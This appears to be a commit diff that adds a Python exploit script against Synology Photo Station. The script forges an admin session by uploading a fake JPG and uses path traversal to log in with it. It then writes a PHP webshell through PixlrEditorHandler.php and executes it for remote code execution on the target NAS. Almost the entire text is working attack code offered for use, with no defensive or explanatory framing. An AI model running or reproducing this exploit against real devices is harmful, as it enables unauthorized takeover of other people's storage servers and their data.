1
+ import requests
2
+
3
+ # What server you want to attack
4
+ synology_ip = 'http://192.168.1.100'
5
+
6
+ # Your current IP
7
+ ip = '192.168.1.200'
8
+
9
+ # PHP code you want to execute
10
+ php_to_execute = '<?php echo system("id"); ?>'
11
+
12
+ encoded_session = 'root|a:2:{s:19:"security_identifier";s:' + str (len (ip ))+ ':"' + ip + '";s:15:"admin_syno_user";s:7:"hlinak3";}'
13
+
14
+ print "[+] Set fake admin sesssion"
15
+ file = [('file' , ('foo.jpg' , encoded_session ))]
16
+
17
+ r = requests .post ('{}/photo/include/synotheme_upload.php' .format (synology_ip ), data = {'action' :'logo_upload' }, files = file )
18
+ print r .text
19
+
20
+ print "[+] Login as fake admin"
21
+
22
+ # Depends on version it might be stored in different dirs
23
+ payload = {'session' : '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png' }
24
+ # payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'}
25
+
26
+ try_login = requests .post ('{}/photo/include/file_upload.php' .format (synology_ip ), params = payload )
27
+
28
+ whichact = {'action' : 'get_setting' }
29
+ r = requests .post ('{}/photo/admin/general_setting.php' .format (synology_ip ), data = whichact , cookies = try_login .cookies )
30
+ print r .text
31
+
32
+ print "[+] Upload php file"
33
+
34
+ c = {'action' : 'save' , 'image' : 'data://text/plain;base64,' + php_to_execute .encode ('base64' ), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit' .encode ("base64" ), 'type' : 'php' }
35
+ r = requests .post ('{}/photo/PixlrEditorHandler.php' .format (synology_ip ), data = c , cookies = try_login .cookies )
36
+ print r .text
37
+
38
+
39
+ print "[+] Execute payload"
40
+ f = requests .get ('{}/photo/facebook/exploit.php' .format (synology_ip ))
41
+
42
+ print f .text
0 commit comments